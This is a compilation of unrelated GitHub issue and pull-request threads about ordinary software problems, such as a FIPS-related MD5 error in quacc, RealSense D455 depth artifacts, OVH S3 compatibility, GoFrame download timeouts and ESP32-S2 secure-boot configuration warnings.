Fix the rename API for lights

update light name through the library seems to make the light disappear from the bridge

there was a problem with switch case statement I wrote, this is fixed in coming commit


Add devcontainer features

@elinork is this ready to merge in?

Yes, I just merged it - it seemed to be working properly and it won't impact any other parts of the project.


MD5 vs FIPS encryption incomatibility + workaround

FIPS system error
Hi everyone,
I didn't submit this as a bug because I don't believe this is the responsibility of quacc to address this. I am only putting this here for future users.
When running the EMT tutorial, I received the following error:
Traceback (most recent call last):
  File "/p/work1/wladerer/quacctest/emt.py", line 8, in <module>
    result = relax_job(atoms)
             ^^^^^^^^^^^^^^^^
  File "/p/home/wladerer/.pyenv/versions/3.11.7/lib/python3.11/site-packages/quacc/recipes/emt/core.py", line 97, in relax_job
    return summarize_opt_run(dyn, additional_fields={"name": "EMT Relax"})
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/p/home/wladerer/.pyenv/versions/3.11.7/lib/python3.11/site-packages/quacc/schemas/ase.py", line 186, in summarize_opt_run
    base_task_doc = summarize_run(
                    ^^^^^^^^^^^^^^
  File "/p/home/wladerer/.pyenv/versions/3.11.7/lib/python3.11/site-packages/quacc/schemas/ase.py", line 105, in summarize_run
    atoms_to_store = prep_next_run(final_atoms, move_magmoms=move_magmoms)
                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/p/home/wladerer/.pyenv/versions/3.11.7/lib/python3.11/site-packages/quacc/schemas/prep.py", line 60, in prep_next_run
    atoms.info["_id"] = get_atoms_id(atoms)
                        ^^^^^^^^^^^^^^^^^^^
  File "/p/home/wladerer/.pyenv/versions/3.11.7/lib/python3.11/site-packages/quacc/atoms/core.py", line 51, in get_atoms_id
    return hashlib.md5(encoded_atoms.encode("utf-8")).hexdigest()
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ValueError: [digital envelope routines: EVP_DigestInit_ex] disabled for FIPS

and script for reference
from ase.build import bulk
from quacc.recipes.emt.core import relax_job

# Make an Atoms object of a bulk Cu structure
atoms = bulk("Cu")

# Run a structure relaxation on the Atoms object
result = relax_job(atoms)
print(result)

An easy workaround is to pass the usedforsecurity = False argument to md5(). I am unaware of the downstream consequences, but it will give your the correct output. Updated function in quacc/atoms/core.py below
 def get_atoms_id(atoms: Atoms) -> str:
    """
    Returns a unique ID for the Atoms object. Note: The .info dict and calculator is
    excluded from the hash generation.

    Parameters
    ----------
    atoms
        Atoms object

    Returns
    -------
    str
        MD5 hash of the Atoms object
    """
    atoms = copy_atoms(atoms)
    atoms.info = {}
    atoms.calc = None
    encoded_atoms = encode(atoms)
    # This is a hack to avoid int32/int64 and float32/float64 differences
    # between machines.
    encoded_atoms = (
        encoded_atoms.replace("int64", "int")
        .replace("int32", "int")
        .replace("float64", "float")
        .replace("float32", "float")
    )

    return hashlib.md5(encoded_atoms.encode("utf-8"), usedforsecurity=False).hexdigest()

Where the only line that changes is line 51 in the file (the return argument in the function). I hope this helps.

Thank you very much for this helpful and detailed report, @wladerer! I was not previously aware of this. Good to know.
I have no reservations about implementing this workaround. After all, I would not recommend using get_atoms_id in any sort of security context. 😉
It looks like the tests are bout to pass as-is in #2258, so I consider that sufficiently non-breaking. I'll mint a new release momentarily.


CLOUD-60985 Fix type mismatch at StackDecorator.prepareOrchestratorIf…

@keyki plz review. I suspect some backward compatibility, so fixed the type.

Refer to this link for build results (access rights to CI server needed):
http://ci.sequenceiq.com//job/cloudbreak-pull-request/2796/

Refer to this link for build results (access rights to CI server needed):
http://ci.sequenceiq.com//job/mock-integration-test/287/

Refer to this link for build results (access rights to CI server needed):
http://ci.sequenceiq.com//job/cloudbreak-pull-request/2797/

Refer to this link for build results (access rights to CI server needed):
http://ci.sequenceiq.com//job/mock-integration-test/288/


push new features to users

write a function to send about new updates to user
write a function to update google sheet with new features

Hello @brucewzj99.
I'd like to contribute to this project, but I have never contributed before.
Any tips on where to start? I do have experience with python.

@Y0z64 Hi Yair, you can follow the Getting Started (Developers) under the README.MD, you can try to run and see if everything is setup first. Once everything is up and running, you can just create a branch and tackle any of the issues.


Invite friends error

Mac
input value [Object object] and never change

I can confirm this. I just saw it in Version 5.0.0-beta.15

@mounlion thanks for letting us know, this is a known issue in beta-15
@raduchiriac thanks for offering, but this is already fixed and will be released soon ... you may help us with other issues though, if you're interested 😉


Fixed visibleColumns method to also allow unset column.hidden property

Hi Thomas,
Here's another pull request that I hope is ok. Thanks again.

Thanks Thomas!


Convert Ryal to an OTP Application

Similar to Riak, Rails, and Solidus, Ryal should be an "umbrella" OTP application that just includes its child dependencies.

This might not be as simple as I thought... I need to look into more on how you build a plug as a package. I'll submit an issue / rfc about the whole code organising for consideration.


Module 'agora_rtc_engine' not found error when archive build.

Its' completely works when running a project in the simulator, when I do archive the build for upload on TestFlight, So I'm getting the error.
[✓] Flutter (Channel stable, 2.5.1, on macOS 11.6 20G165 darwin-x64, locale
en-GB)
• Flutter version 2.5.1 at /Users/pct93/Developer/flutter
• Upstream repository https://github.com/flutter/flutter.git
• Framework revision ffb2ecea52 (2 months ago), 2021-09-17 15:26:33 -0400
• Engine revision b3af521a05
• Dart version 2.14.2
[✓] Xcode - develop for iOS and macOS
• Xcode at /Users/pct93/Documents/Xcode.app/Contents/Developer
• Xcode 12.5, Build version 12E262
• CocoaPods version 1.11.

2
Using the latest version agora_rtc_engine: ^4.0.7.

I have fixed the issue with this link.


Create a system for operating on local instances of repositories

We need to be able to operate on local instances of repositories, rather than relying on [the availability of] upstream hosting services for the running of our tests. There are three major reasons for this:

Test performance: the vast majority of time spent in our tests is exercising network behaviors. Having to actually go out over the network for each and every complete test run is an enormous waste of time. Reducing test running time would also incentivize adding more tests for more behaviors, which is certainly something we’d benefit from.
Test reliability: there’s the obvious possibility of erroneous test failures occurring as a result of an upstream hosting provider becoming temporarily unavailable. There’s also the less obvious possibility of failures arising from actual changes in the upstream source - e.g., if our test hardcodes the belief that a branch is at X commit, but it changes to Y, then we have a failure. We control for the latter by reusing a small set of repositories that I personally own and guarantee won’t change, but this limits our flexibility.
Test flexibility: some of the most important use cases and workflows for us to test involve how the tool behaves over the course of multiple actions when changes have occurred with upstream sources (new/[re]moved tags, new/[re]moved branches). While we can simulate this right now with the right lock file, it would be much, much better if we could model this directly, by actually making these upstream changes.

A bunch of work is required to make this a reality, including some work that’s likely to open up some interesting capabilities in other areas as we go. Here’s my current, rough sketch of what’s needed:

The SourceManager, and more specifically the pathDeducers, need to extend the set of schemes they allow to include file:///, or however that works for the relevant underlying vcs.
For testing purposes, we need to devise a mechanism for transparently rewriting inferred URLs over to some local scheme. This will allow real, valid import paths given in fixture .go files on disk to ultimately map to these file:///-local repositories. For this, we have some options:

The absolute simplest implementation would be to create a SourceManager decorator that does on-the-fly rewrites to the ProjectIdentifier.Source property in all methods that take a ProjectIdentifier. (This approach would only really work for tests that don’t already use the ProjectIdentifier.Source property.)
A more generally useful implementation would create a new subsystem within the sourceMgr for doing these on-the-fly rewrites. Such a system is actually crucial for some non-test use cases that we’ve known about for a while, but creates significant portability concerns (see #174).

We’d need to create a library of “upstream” sources for use in tests that we keep locally. I’m imagining a set of [compressed] archives, each of which contains e.g. an entire bare .git repository.

To simulate upstream state changes but avoid non-determinism in test results, we’ll probably need to have distinct archives of the repositories at different states; let’s call these “source families.” (Other states in a family would have e.g. new or moved tags, new or moved branches, etc.)
Each source family should have exactly one default state, which is
Testing system abstractions should be created that allow switching between which of these states are targeted by calls in the test
Tests that involve changing upstream states will need to be clearly delineated from tests that do not; the former can be performed using a shared SourceManager, but the latter will likely each have to have their own
To assist in the creation and management of the source families, it’d be ideal to have a small helper tool that can be pointed at e.g. a git repository and archive/name/arrange/whatever it up appropriately

(This writeup is WIP, and will likely be updated/possibly moved into a spec doc)

Do we need to create sub tasks for this larger epic? 🤔

@kris-nova yep, almost certainly. I really have no idea when I'll be able to find time/energy to do a more formal writeup of the requirements here, so it'd be ideal if folks could grab what seems to them like a chunk from the above, split it off into a separate issue, and then we can iteratively refine through dialogue.

@sdboyer awesome! I will start cherry picking issues and opening up smaller GitHub from them.


Remove .replit file

Good idea since this isn't the Replit Editor ;D

sorry lol, plus when you forked we just made an update, ill remove

k, i removed


On the data disorder of d455 depth image

In my normal use process, the camera d455 has the phenomenon of depth data dislocation. When I restart the device, it has a certain probability to repair and output complete and correct depth data. (this phenomenon is completely random).
My version number: librealsense2.so.2.39.0
I would like to ask you what causes this phenomenon and how to avoid it. Thank you very much!

Hi @weiyi-jie   Could you provide more information please about what you mean by 'depth data dislocation'.  Does the depth data freeze or disappear?   And are you using the camera indoors or outdoors?  Thank you very much.

Hello, I use it indoors. The depth image data has not been frozen, and the real-time depth data is still being transmitted. Only when the image is displayed, there is a long transverse crack, the whole image is split and moved downward, or the image acquisition is incomplete, only part of the image can be obtained, and the screen flickers.Hello, I use it indoors. The depth image data has not been frozen, and the real-time depth data is still being transmitted. Only when the image is displayed, there is a long transverse crack, the whole image is split and moved downward, or the image acquisition is incomplete, only part of the image can be obtained, and the screen flickers.

Hello, @MartyG-RealSense  I use it indoors. The depth image data has not been frozen, and the real-time depth data is still being transmitted. Only when the image is displayed, there is a long transverse crack, the whole image is split and moved downward, or the image acquisition is incomplete, only part of the image can be obtained, and the screen flickers.

Hi @weiyi-jie Could you provide more information please about what you mean by 'depth data dislocation'. Does the depth data freeze or disappear? And are you using the camera indoors or outdoors? Thank you very much.
Hello, @MartyG-RealSense I use it indoors. The depth image data has not been frozen, and the real-time depth data is still being transmitted. Only when the image is displayed, there is a long transverse crack, the whole image is split and moved downward, or the image acquisition is incomplete, only part of the image can be obtained, and the screen flickers.

Hi @weiyi-jie Could you provide more information please about what you mean by 'depth data dislocation'. Does the depth data freeze or disappear? And are you using the camera indoors or outdoors? Thank you very much.

Hello, @MartyG-RealSense I use it indoors. The depth image data has not been frozen, and the real-time depth data is still being transmitted. Only when the image is displayed, there is a long transverse crack, the whole image is split and moved downward, or the image acquisition is incomplete, only part of the image can be obtained, and the screen flickers.

Hi @weiyi-jie   I tried to visualise what you are experiencing.  It would be very helpful if you could provide an image in this discussion though if that is possible.
Does the flickering depth image that you are experiencing look anything like the one in the link below please:
https://github.com/IntelRealSense/librealsense/issues/7268

HI @MartyG-RealSense, I'm sorry, it was my negligence that I forgot to upload the problem image. My problem image is shown in the figure below. There will be all these phenomena

Here is the normal image

The camera distance is 3.9m

Are you using the RealSense Viewer program to generate images, please?   If you are using the Viewer, could you check please whether you have a filter enabled in the Post-Processing controls that is called Threshold Filter.  If this filter is enabled - shown by a blue (On) icon beside the Threshold Filter name - then by default it limits the D455 camera's observable depth range to only 4 meters.
You can either left-click on the blue icon to change its color to red (Off) or use the Maximum Distance slider of this filter to set it to its maximum distance.

Sorry, @ MartyG-RealSense  I didn't use realsense viewer. I used demo program in librealsense master / build / examples. I can't find this problem in realsense viewer for the time being (probably due to too few tests).
I will test as you describe.

Please do update me when you have done tests.   Thanks!

@ MartyG-RealSense Hello, I set the settings according to what you said. I continued to test without any repair, but I used the realsense viewer without any error. Is it true that the depth data acquisition methods of realsense viewer are different? How was it acquired? Can I get its data acquisition program?

The RealSense Viewer is open-source code that you can modify for your own needs.
https://github.com/IntelRealSense/librealsense/tree/master/tools/realsense-viewer
You may certainly experience differences in the images that you get from a program that you create yourself, compared to the images achieved in the RealSense SDK.   This is partly because the RealSense Viewer enables a lot of functions such as post-processing and colorization by default, whereas these functions have to be manually programmed into your application when creating your own scripts.  Example programs that do not include certain features like the Viewer does may also generate different-looking images.
I ran some tests with the Viewer, pointing the camera at a set of windows as you seem to be doing in the image above.  The windows were visible normally if Auto-Exposure was enabled in the Stereo Module controls of the Viewer, and the windows disappeared if Auto-Exposure was disabled.  As the Viewer has auto-exposure enabled by default when it launches, I wonder if the example that you used did not have Auto-Exposure enabled.

@Martyg realsense Sorry to reply you now. I modified it as you said, and then tested it many times without any problems; but when I power down the camera and plug it in again, it will happen again. Now my camera will report the following error message:
24/11 16:35:02,671 WARNING [140128753518336] ( sensor.cpp:632 ) Exception was thrown when inspecting Raw RGB Camera property Controls white balance of color image. Setting any value will disable auto white balance
24/11 16:35:02,935 WARNING [140128921757504] ( types.cpp:78 ) hwmon command 0x7d( 0 0 0 0 ) failed (response -21= No data to return)

I will seek advice from Intel about your latest problem with the above errors appearing.   Thanks very much for your patience!

I received guidance from Intel.  Could you confirm please in the RealSense Viewer if the depth can stream without any problems but the RGB cannot stream.

Yes, in realsense viewer, depth can be streamed without any problems, and RGB can be streamed normally.

Thanks very much.  Are you still experiencing the WARNING messages or did they only happen once when plugging the camera in.

Yes, there will always be a warning message at the terminal, not only at the first startup.

I reviewed your case agan from the beginning for new insights.   If there is a probability of the camera functioning correctly with your Python script if the camera is reset, could you try adding a hardware_reset() instruction to your script please?  This should reset the camera automatically when the program launches, like when the Hardware Reset option is selected from the 'More' menu in the RealSense Viewer.
https://github.com/IntelRealSense/librealsense/issues/3329#issuecomment-475293475

Hi Weiyi-jie,
Hi MartyG,
I think the problem is very similar with what I met and mentioned in:
https://support.intelrealsense.com/hc/en-us/community/posts/360051428274-Incorrect-depth-image-by-D455
From your screenshot, I also noticed the "band and shifting" phenomenon in this reply:
https://github.com/IntelRealSense/librealsense/issues/7777#issuecomment-729343146
So it looks like a common issue of D455.  It happens very frequently and it should be solved as soon as possible.

@yzkzero   I do not want to make a comment that pre-empts any official technical information that Intel releases for the D455.  I do understand your frustration and ask for your kind patience, please.

Hi MartyG,I'm sorry to reply you now. I just came back from a business trip. I tested this method as you said at the first time. So far, there are no problems before the occurrence. Thank you very much for your help, thank you!

@weiyi-jie   That's great to hear - thanks very much for the update!

Hi @weiyi-jie  Do you require further assistance with this case, please?   Thanks!

HI @MartyG-RealSense Thank you very much for your help. This problem does not appear at present.

Hi @MartyG-RealSense , I'd like to ask how to set the depth data to obtain a relatively complete depth image in the sun.
I use realsense_ The viewer can get relatively complete data by setting preset: default. How to set this mode in the program?

The first image is the depth
/media/xj/Work/222.jpg
preset: default
/media/xj/Work/111.jpg
Is it necessary to set something in the program? This is the result. Thanks！

/media/xj/Work/111.jpg

The first image is the depth

preset: default

preset: default
Is it necessary to set something in the program? This is the result. Thanks！

If you wish to set the SDK's Default preset with scripting, there is a method for loading existing presets supplied in the SDK that is simpler than the code that is typically involved in loading a custom-made preset.
In the example code in the link below, change RS2_RS400_VISUAL_PRESET_HIGH_DENSITY to RS2_RS400_VISUAL_PRESET_DEFAULT to load the Default preset.
https://github.com/IntelRealSense/librealsense/issues/7399#issuecomment-697609404
If you want to program in Python, the link below should be a useful reference.
https://github.com/IntelRealSense/librealsense/issues/2577#issuecomment-432137634
If a preset is not defined then the camera should automatically use the default settings for that particular camera model.  Some prefer the certainty of defining a preset setting though to be reassured that the camera is being configured precisely how they need it to be.

This is feasible. Thank you for your help @MartyG-RealSense

Hi @weiyi-jie   Do you require further assistance with this case, please?   Thanks!

@MartyG-RealSense Thank you for your help. It's not available now. Thank you.

Great news @weiyi-jie  - thanks for the update!   I will close this case now as you have achieved a solution.


fix(json-detail): use useQueryParams() to atomically change state

Previously, each individual field in JSONDetail used useQueryParam()
to manage state. This results in a couple of issues:

the onGridChange() callback would effect multiple changes to
browser history, one change per field setter invocation
a tab change would effect a change in the
grid data as well as reset the header controls (filter/sort/etc).
as flat-ui has a hook for each header control that would trigger
on either of those events, this results in multiple events fired
to change the header control, resulting in a feedback loop that makes the UI oscillate between states.

To resolve this, track the state of JSONDetail using a single state
hook from useQueryParams(), ensuring that only one event is fired onGridChange() and on tab changes.

Replace useQueryParam() with a single useQueryParams() state hook,
with individual fields replaced with that state
Modify onGridChange() to call setQuery() just once with the entire
new state. Likewise with the header control effect hook
triggered by filename changes
Remove the tabName changes trigger from the header control hook;
instead; implement onTabChange(), that delegates to setQuery(),
giving the new tab name and resetting the header controls.

@Wattenberger - if you need a test case you could use
https://flatgithub.com/datascapesg/passiton/?filename=passiton.json

looks great, thanks for the fix!


Compatibility with OVH object store

s3torchconnector version
1.2.4
s3torchconnectorclient version
1.2.4
AWS Region
n/a
Describe the running environment
Linux Manjaro (Arch-based) on a local machine.
What happened?
I tried connecting to a private OVH s3-compatible bucket with
endpoint = "https://s3.gra.io.cloud.ovh.net/"
region = "gra"
s3_uri = "s3://<bucket-name>"
data = S3MapDataset.from_prefix(s3_uri=s3_uri, endpoint=endpoint, region=region)
print(data[0].read())

But got the error below.
My credentials are defined via ~/.aws/config and ~/.aws/credentials. They seem to work as aws ls <s3_uri> correctly lists the contents of the bucket.
I'm not sure if alternative s3 bucket providers are supported or not, it's not clear from the README, so I'm assumed they are. I also don't know if this is a bug in OVH API or in s3 connector.
Relevant log output
Traceback (most recent call last):
  File "xxx/data.py", line 40, in <module>
    print(data[0].read())
          ~~~~^^^
  File "/home/pawel/.cache/pypoetry/virtualenvs/esm-clustering-uWNKxUsg-py3.12/lib/python3.12/site-packages/s3torchconnector/s3map_dataset.py", line 144, in __getitem__
    return self._transform(self._get_object(i))
                           ^^^^^^^^^^^^^^^^^^^
  File "/home/pawel/.cache/pypoetry/virtualenvs/esm-clustering-uWNKxUsg-py3.12/lib/python3.12/site-packages/s3torchconnector/s3map_dataset.py", line 138, in _get_object
    bucket_key = self._dataset_bucket_key_pairs[i]
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/pawel/.cache/pypoetry/virtualenvs/esm-clustering-uWNKxUsg-py3.12/lib/python3.12/site-packages/s3torchconnector/s3map_dataset.py", line 56, in _dataset_bucket_key_pairs
    self._bucket_key_pairs = list(self._get_dataset_objects(self._get_client()))
                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/pawel/.cache/pypoetry/virtualenvs/esm-clustering-uWNKxUsg-py3.12/lib/python3.12/site-packages/s3torchconnector/_s3_bucket_iterable.py", line 50, in __next__
    return next(self._list_stream)
           ^^^^^^^^^^^^^^^^^^^^^^^
s3torchconnectorclient._mountpoint_s3_client.S3Exception: Client error: Unknown response error: MetaRequestResult { response_status: 404, crt_error: Error(14343, "aws-c-s3: AWS_ERROR_S3_INVALID_RESPONSE_STATUS, Invalid response status from request"), error_response_headers: Some(Headers { inner: 0x7ff118016970 }), error_response_body: Some("<?xml version=\'1.0\' encoding=\'UTF-8\'?>\n<Error>NoSuchKey<Message>The specified key does not exist.</Message><RequestId>tx6897cfc165de4d4d99d35-0066b62094</RequestId><Key>/</Key></Error>") }

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Hello @pwl,
Thank you for reaching out and providing the detailed information about the issue you are facing. We appreciate your interest in using the S3 Connector for PyTorch.
Our project primarily focuses on optimizing access to Amazon S3. Maintaining compatibility with other S3-compatible storage systems is not our primary goal. We are open to accepting pull requests that improve compatibility with other storage providers, as long as it does not adversely affect the library's core functionality with Amazon S3.
Regarding your specific issue, we understand that you are encountering an error when trying to access your private OVH bucket using our library. Unfortunately, we cannot provide a definitive solution or workaround at this time, as the issue may stem from compatibility differences between OVH's implementation and the underlying CRT library we use for S3 access.
However, we suggest trying the following steps to further investigate the problem:

Configure the AWS CLI to use the CRT client (see flag description here).
Execute ls and cp commands using the AWS CLI to test the access to your OVH bucket. This may help identify if the issue is specific to our library or a more general compatibility problem with the CRT client.

If you know that OVH's object store requires path-style accees, you can consider building the latest version of our library from the main branch, as it includes support for path-style access.
We appreciate your understanding that while we aim to provide a versatile library, our primary focus remains on optimizing Amazon S3 access. If you have further insights or suggestions regarding improving compatibility with OVH's S3-compatible storage, we welcome your contributions through pull requests or ongoing discussions.
Thank you for your patience and understanding.

I am going to close this issue for now, please let us know if you have any other questions.


Fix error raised when trying to connect to a sentinel addr that cannot be resolved

Fixes  THREESCALE-4495

/cc @guicassolato


Fix missed import callable

Fix issue #36

Thank you Serhii. Can you rebase? Some old commits are in your patch.

@iMerica Sorry, I didn't manage to rebase it correctly(
I've created new PR #46


UWP - URI activation

Development of the URI activation feature for the UWP client allowing the application to launch for adding contributions.

Done a simple first pass of this. May need improving in the future.


dl static file always break while progress reached around 53%

1. What version of Go and system type/arch are you using?

go version 1.11.13 windows/386
2. What version of GoFrame are you using?

1.12.3
3. Can this issue be reproduced with the latest release?
yes
4. What did you do?

config.toml

[server]
	Address     = ":8199"
	ServerRoot  = "./patch"
	ServerAgent = "gf-app"
	LogPath     = "./log"

file patch folder

99.zip  (41mb)

go server side code

g.Server().Run()

dl client : IE broshwer

5. What did you expect to see?
no error
6. What did you see instead?
dl request broken while progress around 57%
[ERRO] read tcp <IP_ADDRESS>:5634->x.x.x.x:8199: wsarecv: An existing connection was forcibly closed by the remote host.

@haobaojiang Does the server reached WriteTimeout, that is 60s in default: https://github.com/gogf/gf/blob/master/net/ghttp/ghttp_server_config.go#L243

@haobaojiang Does the server reached WriteTimeout, that is 60s in default: https://github.com/gogf/gf/blob/master/net/ghttp/ghttp_server_config.go#L243

not  timeout. the network is fine.
I tried using windows IIS, it works fine . the below go stanrd library works as well.
 fs := http.FileServer(http.Dir("./static"))
  http.Handle("/", fs)

  log.Println("Listening on :3000...")
  err := http.ListenAndServe(":3000", nil)
  if err != nil {
    log.Fatal(err)
  }

the issue only comes with gf, plz try the below link, the link
http://<IP_ADDRESS>:8199/99.zip

@shen1l @haobaojiang I think, your issues are all surely caused by WriteTimeout. Configure it with bigger one and have a try.

works now ..thank you


[Dropdown] How to receive an event when scrolled down to to bottom?

If a dropdown has +2500 items, there are some performance issues while rendering the menu items. The performance problem can be resolved by:

Render only a "small part of" items (like ~100)
Use a custom search function and filter the search term in whole items
Re-render the same amount of (small part of) filtered items

This brings one problem: If user searches for a term and its result has 110 items, user can not see the last 10 items.
If we could receive an event, like this one when we reached to the bottom, we can render the additional items (if there are any).

Still interested.


[WIP][SR-1052] Added (non)mutatingvariant doc fields

What's in this pull request?
Part 4 of SR-1052: Parse and recognize the new mutatingvariant and nonmutatingvariant doc fields and connect them to code completion.
Resolved bug number: Part 4 of SR-1052

Before merging this pull request to apple/swift repository:

[ ] Test pull request on Swift continuous integration.

Triggering Swift CI
The swift-ci is triggered by writing a comment on this PR addressed to the GitHub user @swift-ci. Different tests will run depending on the specific comment that you use. The currently available comments are:
Smoke Testing
    Platform     | Comment
    ------------ | -------------
    All supported platforms     | @swift-ci Please smoke test
    OS X platform               | @swift-ci Please smoke test OS X platform
    Linux platform              | @swift-ci Please smoke test Linux platform

Validation Testing
    Platform     | Comment
    ------------ | -------------
    All supported platforms     | @swift-ci Please test
    OS X platform               | @swift-ci Please test OS X platform
    Linux platform              | @swift-ci Please test Linux platform

Note: Only members of the Apple organization can trigger swift-ci.

LGTM, @gribozavr any concerns with this?

CC @bitjammer @nkcsgexi

Cool! 👍🏻

@tanadeau Thanks for working on this!

Very happy to do this. When anyone has time, could someone give me a pointer to the question I asked on the linked JIRA ticket about the next part of this work? It's about how to handle generic return types.


Warnings caused by security features (IDFGH-4362)

Environment

IDF version: v4.2-rc
Build System: Make

Problem Description
When enabling the following configurations

the following warning is displayed after closing menuconfig
warning: SECURE_ENABLE_SECURE_ROM_DL_MODE (defined at /esp-idf/components/bootloader/Kconfig.projbuild:749) has direct dependencies IDF_TARGET_ESP32S2 && !SECURE_DISABLE_ROM_DL_MODE with value n, but is currently being y-selected by the following symbols:
 - SECURE_FLASH_ENCRYPTION_MODE_RELEASE (defined at /esp-idf/components/bootloader/Kconfig.projbuild:604), with value y, direct dependencies <choice SECURE_FLASH_ENCRYPTION_MODE> (value: y), and select condition <choice SECURE_FLASH_ENCRYPTION_MODE> (value: y)
Loaded configuration '/home/dev07/Documents/VSCode/AR/TestBench/ESP32-W5100/sdkconfig'
warning: SECURE_ENABLE_SECURE_ROM_DL_MODE (defined at /esp-idf/components/bootloader/Kconfig.projbuild:749) has direct dependencies IDF_TARGET_ESP32S2 && !SECURE_DISABLE_ROM_DL_MODE with value n, but is currently being y-selected by the following symbols:
 - SECURE_FLASH_ENCRYPTION_MODE_RELEASE (defined at /esp-idf/components/bootloader/Kconfig.projbuild:604), with value y, direct dependencies <choice SECURE_FLASH_ENCRYPTION_MODE> (value: y), and select condition <choice SECURE_FLASH_ENCRYPTION_MODE> (value: y)
No changes to save (for '/home/dev07/Documents/VSCode/AR/TestBench/ESP32-W5100/sdkconfig')
warning: SECURE_ENABLE_SECURE_ROM_DL_MODE (defined at /esp-idf/components/bootloader/Kconfig.projbuild:749) has direct dependencies IDF_TARGET_ESP32S2 && !SECURE_DISABLE_ROM_DL_MODE with value n, but is currently being y-selected by the following symbols:
 - SECURE_FLASH_ENCRYPTION_MODE_RELEASE (defined at /esp-idf/components/bootloader/Kconfig.projbuild:604), with value y, direct dependencies <choice SECURE_FLASH_ENCRYPTION_MODE> (value: y), and select condition <choice SECURE_FLASH_ENCRYPTION_MODE> (value: y)

Expected Behavior
No warnings
Steps to reproduce
Enable the mentioned options on your sdkconfig with idf v4.2-rc

Hi @KaeLL,
Thanks for letting us know about this.
You can ignore the warnings, this config item is only relevant on ESP32-S2 and doesn't do anything on ESP32, so there should be no incorrect behaviour.
However we will fix this ASAP.

Hello,
I just bricked 2 of my production boards with ESP32-S2 because of this problem.
I set both SECURE_FLASH_ENCRYPTION_MODE_RELEASE=y and SECURE_DISABLE_ROM_DL_MODE=y to flash my first production device (with Secure boot v2 + Encryption), but SECURE_ENABLE_SECURE_ROM_DL_MODE kept the value y.
Then in startup.c:252 I got stuck (infinite boot / reset) on this assert on "Failed to enable Secure Download mode":
#if CONFIG_SECURE_ENABLE_SECURE_ROM_DL_MODE
    err = esp_efuse_enable_rom_secure_download_mode();
    assert(err == ESP_OK && "Failed to enable Secure Download mode");
#endif

My understanding is that SECURE_ENABLE_SECURE_ROM_DL_MODE cannot be y when SECURE_DISABLE_ROM_DL_MODE=y.
I managed to workaround this problem and finally flashed successfully my ESP-S2 devices with Secure boot v2 + Encryption + SECURE_DISABLE_ROM_DL_MODE by modifying components/bootloader/Kconfig.projbuild.
I can create a pull request if needed.

Hello,
I just bricked 2 of my production boards with ESP32-S2 because of this problem.
I set both SECURE_FLASH_ENCRYPTION_MODE_RELEASE=y and SECURE_DISABLE_ROM_DL_MODE=y to flash my first production device (with Secure boot v2 + Encryption), but SECURE_ENABLE_SECURE_ROM_DL_MODE kept the value y.
Then in startup.c:252 I got stuck (infinite boot / reset) on this assert on "Failed to enable Secure Download mode":
#if CONFIG_SECURE_ENABLE_SECURE_ROM_DL_MODE
    err = esp_efuse_enable_rom_secure_download_mode();
    assert(err == ESP_OK && "Failed to enable Secure Download mode");
#endif

My understanding is that SECURE_ENABLE_SECURE_ROM_DL_MODE cannot be y when SECURE_DISABLE_ROM_DL_MODE=y.
I managed to workaround this problem and finally flashed successfully my ESP-S2 devices with Secure boot v2 + Encryption + SECURE_DISABLE_ROM_DL_MODE by modifying components/bootloader/Kconfig.projbuild.
I can create a pull request if needed.


Order not followed for AWSSecretsManager With Other Repositories in Spring Config Server

Currently when trying to configure multiple repositories in spring config server along with AWSSecretsManager, the order specified for the AWSSecretsManager is not followed.
Version : v3.1.0-M2
Module :  Spring-Cloud-Config-Server
Config :
spring:   application:     name: Config-Server   profiles:     active:  native,awssecretsmanager   cloud:     config:       server:         aws-secretsmanager:           region: ap-south-1           prefix: secrets/app           order: 2         native:           order: 1           searchLocations: file://${user.home}/Workspace/Config
SecretManagerRepository:

NativeRepository:

This is causing the order defined for the awssecretmanager to be ignored, and not work as expected.
Is there any reason for not extending Ordered for 'AwsSecretsManagerEnvironmentRepository'?

Also wanted to point it out, there were some other profiles where order was not supported in like AwsParameterStoreEnvironmentRepository, CompositeEnvironmentRepository, CredhubEnvironmentRepository, GoogleSecretManagerEnvironmentRepository, JGitEnvironmentRepository, RedisEnvironmentRepository.
It appears like a bug. Can you confirm @ryanjbaxter

Not sure if all of them makes sense.  Particularly JGitEnvironmentRepository extends AbstractScmEnvironmentRepository so it implements Ordered.  I am unsure if it makes sense for CompositeEnvironmentRepository to implement Ordered because it is the one leveraging the Ordered interface.  Sounds like maybe the others should.

Yeah JGitEnvironmentRepository, CompositeEnvironmentRepository need not extend Ordered. Others do. Do you want me to make the changes for the above discussed in the same PR?

Sure.


Add a flag as an option to fix naked returns

When discovering a lot of naked returns in a codebase, it'd be nice to just have a script to update them all. This PR attempts to be that script.
It also attempts to clean up some of the file parsing by removing a copied file that said was no longer needed after https://golang.org/issue/8768 is resolved -- which it has been.
Reviewers: @alexkohler

@alexkohler sorry for the delayed response -- should be ready for review again

Sorry for letting this fall by the wayside :disappointed: A lot of the fixes here ended up getting fixed in #25, so going to close this out.


How to get free training account?

Hi, I am currently enrolled as a university student and would like to have a free training account.
Is the account I have right now a free training account?

The free accounts are for those running the full time education (rather than the students). Sorry for the confusion.


mobX with next beta 19

For some reason if I upgrade to beta 19 of next I get an error about the mobx store not being available. I'm using a provider and then injected the store into my components. Anyone else using mobx with next getting this error when upgrading?

I get the same error:
Error: MobX observer: Store 'state' is not available! Make sure it is provided by some Provider
    at http://localhost:3000/_next/-/commons.js:46588:46
    at Array.forEach (native)
    at http://localhost:3000/_next/-/commons.js:46585:17
    at _fn.render (http://localhost:3000/_next/-/commons.js:46564:31)
    at _fn.withHandleError (http://localhost:3000/_next/-/main.js:4278:17)
    at _fn [as render] (http://localhost:3000/_next/-/main.js:4308:24)
    at http://localhost:3000/_next/-/commons.js:35584:21
    at measureLifeCyclePerf (http://localhost:3000/_next/-/commons.js:34863:12)
    at ReactCompositeComponentWrapper._renderValidatedComponentWithoutOwnerOrContext (http://localhost:3000/_next/-/commons.js:35583:25)
    at ReactCompositeComponentWrapper._renderValidatedComponent (http://localhost:3000/_next/-/commons.js:35610:32)
